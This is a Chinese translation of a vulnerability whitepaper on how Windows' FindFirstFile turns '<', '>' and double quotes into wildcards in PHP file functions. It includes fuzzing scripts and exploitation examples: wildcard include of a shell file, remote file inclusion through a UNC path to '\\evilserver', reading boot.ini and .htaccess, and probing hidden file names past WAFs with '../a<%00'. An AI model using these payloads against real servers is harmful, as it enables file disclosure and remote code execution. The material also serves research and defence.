windows的文件系统机制引发的PHP路径爆破问题分析

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果：
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在，以上脚本访问的结果是：

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的（因为windows的文件系统支持大小的互转的机制），另外的两种返回引起了我们的注意。
测试php版本：PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统：WINXP SP3 X32,WINXP SP2 X64，WIN7,WIN2K3
经测试我们得出的结论是：该漏洞影响所有的windows+php版本 

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息，我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在调试php解释器的过程中，我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile(）所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是，当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”，字符”<”被替换成”*”，而符号”（双引号）被替换成一个”.”字符。这在2007年msdn公开的文档中被提及：http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所发行的任何版本修复！
我们要阐明的是，该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表：

此外，我们还发现该利用也可以被运用到c++中，以下采用来自msdn的例子：

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

当传入参数”c:\bo<”时，成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时，”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符，但是测试中发现并不是所有情况都如我们所愿。所以，为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时，该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时，”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE：include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时，该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时，”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话，读取时可以忽略之
EXAMPLE：fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集，你也可以在/或者\中间加上.字符，只要确保最后一位为”.”
EXAMPLE：fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注：此处的利用我不是很理解，有何作用？截断？
该函数也可以调用以”\\”打头的网络共享文件，当然这会耗费不短的时间。补充一点，如果共享名不存在时，该文件操作将会额外耗费4秒钟的时间，并可能触发时间响应机制以及max_execution_time抛错。所幸的是，该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI（远程文件包含）
EXAMPLE：include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下（php.exe）,关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节，直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法，你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例：

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况，说明不存在a打头的文件，第二种则存在。
 
此外，有记录显示，有时网站会抛出如下错误：

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件（夹），并且第一个就是admin_h1d3。

5.结论
实验告诉我们，php本身没有那么多的漏洞，我们所看到是：过分的依赖于另一种程序语言（注：如文中的漏洞产自与winapi的一个BUG），并且直接强 制使用，将会导致细微的错误(bug)，并最终造成危害(vul).这样便拓宽了模糊测试的范畴（译者注：并不仅仅去研究web层面，而深入到系统底层），并最终导致IDS，IPS的规则更新。诚然，代码需要保护，需要补丁，需要升级与扩充。但是，这并不是我们真正要去关注的问题。在当下，我认为我们 更谨慎地去书写更多更严厉的过滤规则，正如我们一直在做的一样。任重道远，精益求精。
因为这是基础应用层的问题，所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明，mysql5并不存在类似的漏洞。但是我们仍认为：类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

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全文完。
注：该文是2011年底发表的一篇白皮书，至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用，当时便是看的此文，当时只是粗粗读了一下，写了一个php的脚本去跑目录。今回闲来无事，翻译整理了一番。